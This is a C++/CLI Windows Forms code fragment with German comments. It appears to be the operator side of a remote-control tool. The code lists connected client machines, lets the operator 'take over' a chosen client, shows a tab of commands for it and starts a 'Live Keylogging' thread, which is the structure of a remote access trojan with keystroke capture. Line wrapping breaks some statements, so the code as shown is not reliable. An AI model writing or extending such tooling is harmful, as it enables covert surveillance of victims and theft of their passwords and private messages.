

```

/* Liste der Clients */
private: System::Void Verbinden_RunWorkerCompleted(System::Object^ sender,
System::ComponentModel::RunWorkerCompletedEventArgs^ e)
{
    /* Erstllet einen Eintrag mit den Informationen des Clients */
    Windows::Forms::ListViewItem^ num=gcnew Windows::Forms::ListViewItem();
    /* Bekommt die Anzahl als Text , anzahl wird über die Server Klasse die
ein Array mit allen verbindungen enthält über „->Count“ herausgefunden */
    num->Text=Convert::ToString(Server->verbindungen->Bearbeitung->Count);

    /* Sub Item erstellen ( weitere Spalten mit Beschriftungen */
    Windows::Forms::ListViewItem::ListViewSubItem^ name=gcnew
Windows::Forms::ListViewItem::ListViewSubItem(num,Server->user);

    /* Spalten beschriften */
    num->SubItems->Add(name);
    list_clients->Items->Add(num); // ITEM der Liste Hinzufügen
    /* Startet Thread der neue Verbindungen annehmen kann */
    Verbinden->RunWorkerAsync();
}
/* Button Kontrollieren */
private: System::Void button_übernahme_Click(System::Object^ sender,
System::EventArgs^ e)
{
    /* Lest die nummer aus dem Selektierten List ITEM */
    int index=Convert::ToInt32(list_clients->FocusedItem->Text);
    /* Index -1 da das Array mit den Verbindungen bei 0 beginnt */
    index=index-1;

/* Erstellt eine neue Client Klasse mit der TCP Verbindung als Konstruktor */

Server->verbindung=gcnew miki_TCPClient(Server->verbindungen-
>Bearbeitung[index]);

/* Sendet dem Client das er übernommen wurde */
    Server->SendAktion("start");
    Main_Tab->SelectedIndex=1; // wechseln auf die Tab Ansicht
    client_tab->Visible=true; // macht den Tab mit den Kommandos
sichtbar
    client_beenden->Visible=true; // zeigt den Button „Verbindung
Trennen an

/* Startet Thread für das Live Keylogging */
    key_start();
}

```